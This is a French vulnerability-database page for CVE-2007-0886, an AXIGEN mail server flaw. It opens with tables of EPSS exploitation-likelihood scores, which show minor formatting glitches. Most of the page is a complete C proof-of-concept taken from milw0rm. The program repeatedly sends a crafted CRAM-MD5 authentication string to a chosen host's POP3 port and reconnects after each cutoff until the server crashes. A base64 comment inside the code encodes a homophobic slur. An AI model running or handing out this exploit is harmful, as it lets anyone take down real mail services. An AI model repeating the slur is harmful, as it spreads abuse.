CVE-2007-0886 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	12.82%	–	–
2022-04-03	–	–	12.82%	–	–
2022-12-04	–	–	12.82%	–	–
2023-01-01	–	–	12.82%	–	–
2023-02-26	–	–	12.82%	–	–
2023-03-12	–	–	–	18.67%	–
2023-07-09	–	–	–	18.67%	–
2023-07-23	–	–	–	19.26%	–
2023-10-08	–	–	–	15.85%	–
2023-11-12	–	–	–	15.48%	–
2024-02-11	–	–	–	15.48%	–
2024-06-02	–	–	–	15.48%	–
2025-01-19	–	–	–	15.48%	–
2025-03-18	–	–	–	–	26.07%
2025-03-18	–	–	–	–	26.07,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	9%
2022-04-03	95%
2022-12-04	96%
2023-01-01	95%
2023-02-26	96%
2023-03-12	95%
2023-07-09	96%
2023-07-23	96%
2023-10-08	95%
2023-11-12	95%
2024-02-11	96%
2024-06-02	96%
2025-01-19	96%
2025-03-18	96%
2025-03-18	96%

/* doaxigen.c * * axigen 1.2.6 - 2.0.0b1 DoS (x86-lnx) * by mu-b - Sat Oct 22 2006 * * - Tested on: AXIGEN 1.2.6 (lnx) * AXIGEN 2.0.0b1 (lnx) * * 0x08088054: parsing error results in DoS (little-endian, confirmed) * DoS + off-by-one heap smash (big-endian) * * Note: if you receive a SIGPIPE then you crashed the server * but at too high a memory address... try again. */ /* dGFicyBhcmUgZm9yIGZhZ2dvdHNcIQ== */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <netinet/in.h> #include <netdb.h> #include <sys/time.h> #include <sys/types.h> #define BUF_SIZE 1024 #define BBUF_SIZE BUF_SIZE/3*4+1 #define AUTH_CMD "AUTH CRAM-MD5\r\n" #define QUIT_CMD "QUIT\r\n" #define DEF_PORT 110 #define PORT_POP3 DEF_PORT #define RCNT_DELAY 3 static const char base64tab[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; static int base64 (const u_char * ibuf, u_char * obuf, size_t n); static int sock_send (int sock, u_char * src, int len); static int sock_recv (int sock, u_char * dst, int len); static void zhammer (u_char * host); static int base64 (const u_char * ibuf, u_char * obuf, size_t n) { int a, b, c; int i, j; int d, e, f, g; a = b = c = 0; for (j = i = 0; i < n; i += 3) { a = (u_char) ibuf[i]; b = i + 1 < n ? (u_char) ibuf[i + 1] : 0; c = i + 2 < n ? (u_char) ibuf[i + 2] : 0; d = base64tab[a >> 2]; e = base64tab[((a & 3) << 4) | (b >> 4)]; f = base64tab[((b & 15) << 2) | (c >> 6)]; g = base64tab[c & 63]; if (i + 1 >= n) f = '='; if (i + 2 >= n) g = '='; obuf[j++] = d, obuf[j++] = e; obuf[j++] = f, obuf[j++] = g; } obuf[j++] = '\0'; return strlen (obuf); } static int sock_send (int sock, u_char * src, int len) { int sbytes; sbytes = send (sock, src, len, 0); return (sbytes); } static int sock_recv (int sock, u_char * dst, int len) { int rbytes; rbytes = recv (sock, dst, len, 0); if (rbytes >= 0) dst[rbytes] = '\0'; return (rbytes); } static int sockami (u_char * host, int port) { struct sockaddr_in address; struct hostent *hp; int sock; fflush (stdout); if ((sock = socket (AF_INET, SOCK_STREAM, 0)) == -1) { perror ("socket()"); exit (-1); } if ((hp = gethostbyname (host)) == NULL) { perror ("gethostbyname()"); exit (-1); } memset (&address, 0, sizeof (address)); memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length); address.sin_family = AF_INET; address.sin_port = htons (port); if (connect (sock, (struct sockaddr *) &address, sizeof (address)) == -1) { perror ("connect()"); exit (EXIT_FAILURE); } return (sock); } static void zhammer (u_char * host) { int sock, rbytes; u_int i; u_char *md5 = "\" d339490346794f964736669ae26e29df"; /* what was that? */ u_char sbuf[BBUF_SIZE], *sptr; u_char rbuf[BUF_SIZE]; fd_set r_fds; struct timeval tv; base64 (md5, sbuf, strlen (md5)); sptr = sbuf + strlen (sbuf); *sptr++ = '\r', *sptr++ = '\n', *sptr = '\0'; printf ("+Connecting to %s:%d.", host, PORT_POP3); sock = sockami (host, PORT_POP3); rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1); if (rbytes < 0) return; for (i = 0; i < -1; i++) { int rbytes; sock_send (sock, AUTH_CMD, strlen (AUTH_CMD)); rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1); if (rbytes < 0) break; sock_send (sock, sbuf, strlen (sbuf)); FD_ZERO (&r_fds); FD_SET (sock, &r_fds); tv.tv_sec = 4; /* wait 4 seconds */ tv.tv_usec = 0; rbytes = select (sock + 1, &r_fds, NULL, NULL, &tv); if (rbytes == -1) /* oh dear */ perror ("select()"); else if (rbytes) /* read response */ rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1); else /* timeout, server appears to have crashed!@$%! */ break; /* hmmm, too many attempts, must re-connect... */ if (strstr (rbuf, "(maximum number of protocol errors reached)")) { close (sock); sleep (RCNT_DELAY); printf ("\n+Reconnecting to %s:%d.", host, PORT_POP3); sock = sockami (host, PORT_POP3); rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1); } if (rbytes < 0) break; if (!((i + 1) % 4)) printf ("..%d", i + 1); fflush (stdout); usleep (1000); } printf ("\n"); } int main (int argc, char **argv) { printf ("axigen 1.2.6 - 2.0.0b1 DoS POC\n" "by: <mu-b@digit-labs.org>, <mu-b@65535.com>\n\n"); if (argc <= 1) { fprintf (stderr, "Usage: %s <host>\n", argv[0]); exit (EXIT_SUCCESS); } zhammer (argv[1]); printf ("+Wh00t!\n"); return (EXIT_SUCCESS); } // milw0rm.com [2007-02-08]